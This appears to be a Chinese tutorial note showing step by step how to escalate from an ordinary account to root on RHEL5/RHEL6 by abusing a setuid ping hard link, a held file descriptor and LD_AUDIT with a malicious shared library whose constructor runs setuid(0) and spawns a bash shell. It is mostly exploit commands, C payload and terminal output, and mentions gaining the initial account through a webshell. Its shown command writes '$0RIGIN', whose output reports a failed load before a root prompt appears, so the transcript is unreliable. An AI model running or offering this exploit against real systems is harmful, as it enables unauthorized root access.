016利用Linux漏洞进行提权

视频资料链接

利用Linux漏洞进行提权

提权：普通账号 --》》 root
RHEL5-RHEL6下都适用
webshell 挂码登录普通账号

[root@PC1 ~]# useradd mk  
[root@PC1 ~]# su mk  
[mk@PC1 /]$ ll -d /tmp/  
drwxrwxrwt. 3 root root 4096 7?. 11 03:54 /tmp/  
[mk@PC1 /]$ cd /tmp/

[mk@PC1 tmp]$ mkdir exploit  
[mk@PC1 tmp]$ ll -d /bin/ping  
-rwsr-xr-x. 2 root root 40760 9?. 26 2013 /bin/ping  
[mk@PC1 tmp]$ ln /bin/ping /tmp/exploit/target  
[mk@PC1 tmp]$ ll !$  
ll /tmp/exploit/target  
-rwsr-xr-x. 3 root root 40760 9?. 26 2013 /tmp/exploit/target

[mk@PC1 tmp]$ exec 3< /tmp/exploit/target  
[mk@PC1 tmp]$ ll /proc/$$/fd/3  
lr-x------. 1 mk mk 64 7?. 11 06:04 /proc/25208/fd/3 -> /tmp/exploit/target  
[mk@PC1 tmp]$ ll /tmp/exploit  
总用量 40  
-rwsr-xr-x. 3 root root 40760 9月  26 2013 target  
[mk@PC1 tmp]$ rm -rf /tmp/exploit/  
[mk@PC1 tmp]$ ll /proc/$$/fd/3  
lr-x------. 1 mk mk 64 7月  11 06:04 /proc/25208/fd/3 -> /tmp/exploit/target (deleted)  
[mk@PC1 tmp]$ vim payload.c

void __attribute__((constructor)) init()   //__这是两个下划线
{
        setuid(0);
        system("/bin/bash");
}

[mk@PC1 tmp]$ yum -y install gcc
Loaded plugins: fastestmirror, security
You need to be root to perform this command.
[mk@PC1 tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[mk@PC1 tmp]$ ll /tmp/exploit
-rwxrwxr-x. 1 mk mk 6020 7月  11 07:29 /tmp/exploit
[mk@PC1 tmp]$ LD_AUDIT="\$0RIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$0RIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
[root@PC1 ~]#